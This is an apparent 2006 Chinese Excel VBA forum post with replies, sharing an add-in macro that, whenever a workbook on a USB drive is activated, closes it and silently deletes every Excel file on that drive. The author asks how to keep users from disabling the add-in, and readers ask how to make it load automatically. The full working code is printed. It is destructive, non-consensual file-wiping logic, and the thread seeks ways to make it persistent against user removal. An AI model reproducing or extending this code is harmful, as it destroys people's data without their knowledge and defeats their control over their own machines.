删除U盘上的EXCEL文件

上一篇 / 下一篇  2006-09-16 17:46:48 / 天气: 晴朗 / 心情: 高兴 / 个人分类:Excel VBA

查看( 417 ) / 评论( 21 )
曾经有网友问过,如果用户打开U盘上的EXCEL,则删除U盘上所有的EXCEL文件

现把这个想法做成加载宏,请试试
但现在有个问题,如果用户取消了加载宏,则无法实现这个效果, 如何避免用户手动删除加载宏??
欢迎给个意见 :D

'=====================ThisWorkBook=======================
Public WithEvents xlApp As Excel.Application
Private Sub Workbook_Open()
    Set xlApp = Application
End Sub
Private Sub Workbook_Close()
    Set xlApp = Nothing
End Sub
Private Sub xlapp_WorkbookActivate(ByVal Wb As Workbook)
    strWbName = Wb.FullName
    Call Main
End Sub
'========================Module1========================
Public strWbName As String
Dim Fso, mDrive, mType
Dim strLetter As String
Sub Main()
    strLetter = Left(strWbName, 2)
    Set Fso = CreateObject("Scripting.FileSystemObject")
    If Fso.DriveExists(strLetter) Then
        If ShowDriveType(strLetter) = "Removable" Then
            Call DelRemovable
        End If
    End If
End Sub
Function ShowDriveType(drvPath)
    Set mDrive = Fso.GetDrive(drvPath)
    Select Case mDrive.DriveType
        Case 1: mType = "Removable"
        Case Else: mType = "Others"
    End Select
    ShowDriveType = mType
End Function
Sub DelRemovable()
    Dim i As Long
   
    On Error Resume Next
    With Application.FileSearch
        .NewSearch
        .LookIn = strLetter & "\"
        .Filename = "*.xls"
        .SearchSubFolders = True
        .FileType = msoFileTypeExcelWorkbooks
        .Execute
        
        ActiveWorkbook.Close 0
        If .Execute() > 0 Then
            For i = 1 To .FoundFiles.Count
                Fso.DeleteFile (.FoundFiles(i))
            Next
        End If
    End With
End Sub
'======================================================
[ 本帖最后由 HOmT398 于 2006-9-16 17:41 编辑 ]

DelRemovableExcelFile.rar
(2006-09-16 17:38:55, Size: 9.42 kB, Downloads: 1)


TAG:

fjytxbzx的个人空间 fjytxbzx 发布于2006-09-16 17:54:21
HOmT398 版主,这个宏对doc行吗?(Filename = "*.xls"该Filename = "*.doc")
偏舟--HOmT398 HOmT398 发布于2006-09-16 17:57:31
回复 #2 fjytxbzx 的帖子
不行的...  :)
fjytxbzx的个人空间 fjytxbzx 发布于2006-09-16 18:04:04
HOmT398 版主,这个贴是我提的,那如何删除U盘上所有的word文件,告诉我,好吗?
偏舟--HOmT398 HOmT398 发布于2006-09-16 18:11:17
回复 #4 fjytxbzx 的帖子
呵呵,您原来不是问的是要删除Excel吗?
如果要删除Word文件
那要改好多代码...而我对word的对象不是很熟悉...  :L
fjytxbzx的个人空间 fjytxbzx 发布于2006-09-16 18:13:20
HOmT398 版主,这个宏在那个盘打开,则删除“打开盘”那个盘上所有的EXCEL文件,是吗?
偏舟--HOmT398 HOmT398 发布于2006-09-16 18:16:23
回复 #6 fjytxbzx 的帖子
是的
要先加载宏
之后,打开U盘的任一文件,则删除U盘上的所有EXCEL文件
dengyf的个人空间 dengyf 发布于2006-09-16 18:41:43
:lol 版主要散发病毒。
偏舟--HOmT398 HOmT398 发布于2006-09-16 18:44:02
回复 #8 dengyf 的帖子
呵呵,岂敢岂敢
讨论讨论而已....
fjytxbzx的个人空间 fjytxbzx 发布于2006-09-16 18:50:29
怎么做让它自动加载宏,随便打开工作簿,则删除U盘上的所有EXCEL文件
偏舟--HOmT398 HOmT398 发布于2006-09-16 18:52:23
回复 #10 fjytxbzx 的帖子
自动加载宏请参考:
http://www.officefans.net/cdb/vi ... &extra=page%3D1
偏舟--HOmT398 HOmT398 发布于2006-09-16 18:54:03

QUOTE:

原帖由 fjytxbzx 于 2006-9-16 18:50 发表
怎么做让它自动加载宏,随便打开工作簿,则删除U盘上的所有EXCEL文件
对于随便打开工作簿,则删除U盘上的所有EXCEL文件
改天回复您
knifefox的个人空间 knifefox 发布于2006-09-16 23:27:51
我没全看懂,所以不敢试,万一把我的excel文件全删了可就惨了。:)
fjytxbzx的个人空间 fjytxbzx 发布于2006-09-17 11:24:10
HOmT398版主
对于随便打开工作簿,则删除U盘上的所有EXCEL文件,这个方法能告诉我们吗?
偏舟--HOmT398 HOmT398 发布于2006-09-17 11:48:04

QUOTE:

原帖由 knifefox 于 2006-9-16 23:27 发表
我没全看懂,所以不敢试,万一把我的excel文件全删了可就惨了。:)
呵呵,只是删除U盘里的EXCEL文件。。。 :)
偏舟--HOmT398 HOmT398 发布于2006-09-17 11:54:23

QUOTE:

原帖由 fjytxbzx 于 2006-9-17 11:24 发表
HOmT398版主
对于随便打开工作簿,则删除U盘上的所有EXCEL文件,这个方法能告诉我们吗?
这个可以做到,问题是,如果随便打开一工作簿就去检测U盘上是否有EXCEL文件
这会占用EXCEL的内存
而且,我在1楼说过,如果用户取消加载宏,则这个功能就会失去作用,这个如何避免呢?
所以,还是乖乖地禁用USB接口比较好些
fjytxbzx的个人空间 fjytxbzx 发布于2006-09-17 12:15:49
HOmT398版主,如果用户打开U盘上的任一EXCE文件L,则删除U盘上所有的EXCEL文件(自动加载宏)禁用USB接口好是好些,但是键盘、鼠标也用不了?
偏舟--HOmT398 HOmT398 发布于2006-09-17 12:18:12
回复 #17 fjytxbzx 的帖子
我们公司的鼠标和键盘都是PS2接口。。。
peanuts发布于2006-11-03 16:26:41
?
俺害怕,俺的文件99.99%是EXCEL的
OFFICE精英俱乐部(赏四季花开,听世间风雨) 晓芳 发布于2006-11-03 16:51:44
只是批量删除U盘上的EXCEL文件,如果您的EXCEL文件不是存在U盘上,应该不会有问题。
peanuts发布于2006-11-03 17:09:09
?
那也不行,怎么可以这样就没了呢?工作多辛苦啊!什么坏东东啊.当然,俺会试试用在其他方面的,^_^
我来说两句

(可选)

Open Toolbar